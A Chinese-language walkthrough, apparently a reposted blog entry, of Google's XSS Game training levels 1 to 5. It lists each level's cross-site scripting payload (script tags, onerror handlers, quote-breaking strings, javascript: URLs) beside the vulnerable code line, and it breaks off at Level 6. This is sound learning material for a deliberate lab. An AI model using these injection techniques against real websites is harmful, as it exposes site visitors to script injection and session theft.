网址
https://xss-game.appspot.com/level1
Level 1: Hello, world of XSS
payload:
<script> alert(1); </script>
漏洞产生处:
message = "Sorry, no results were found for <b>" + query + "</b>."
Level 2: Persistence is key
payload:
<img src=1 onerror=alert(1);>
漏洞产生处:
html += "<blockquote>" + posts[i].message + "</blockquote";
blockquote
标签之间的所有文本都会从常规文本中分离出来,块引用拥有它们自己的空间。
<script>
执行不了那就换个标签。
Level 3: That sinking feeling…
payload:
'onerror=alert(1);>
漏洞产生处:
var html = "Image " + parseInt(num) + "<br>";
html += "<img src='/static/level3/cloud" + num + ".jpg' />";
利用单引号闭合绕过。
Level 4:Context matters
payload:
3'*alert(1));//
漏洞产生处:
很明确,用单引号闭合,然后再乘 alert(1)
,那么这样的话它会先执行 alert(1)
,然后再把返回值执行 startTimer
。
<img src="/static/loading.gif" onload="startTimer('{{ timer }}');" />
Level 5: Breaking protocol
payload:
signup?next=javascript:alert() //之后点击 next 链接
或者
confirm?next=javascript:alert()
![在这里插入图片描述](https://img-blog.csdnimg.cn/f51d75c226b149ab9f471edda8e7ed70.png)
漏洞产生处:
在 level.py
处可以看到传了一个 next
参数到 signup.html
处。
![在这里插入图片描述](https://img-blog.csdnimg.cn/34743aea318e4edf9e2cbb49d60afc8f.png)
这边可以用 javascript:
伪协议执行 js
语句
![在这里插入图片描述](https://img-blog.csdnimg.cn/d83508d6e7cf4b3bbd234ed3b4511a80.png)
当然直接 confirm?next=javascript:alert()
也是可以的。
![在这里插入图片描述](https://img-blog.csdnimg.cn/a8c742e740684aca938f6d877aab8aee.png)
这边也可以用 javascript:
伪协议执行 js
语句。
![在这里插入图片描述](https://img-blog.csdnimg.cn/cb6641b348b941689cc604926d2489fc.png)
Level 6: Follow the
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)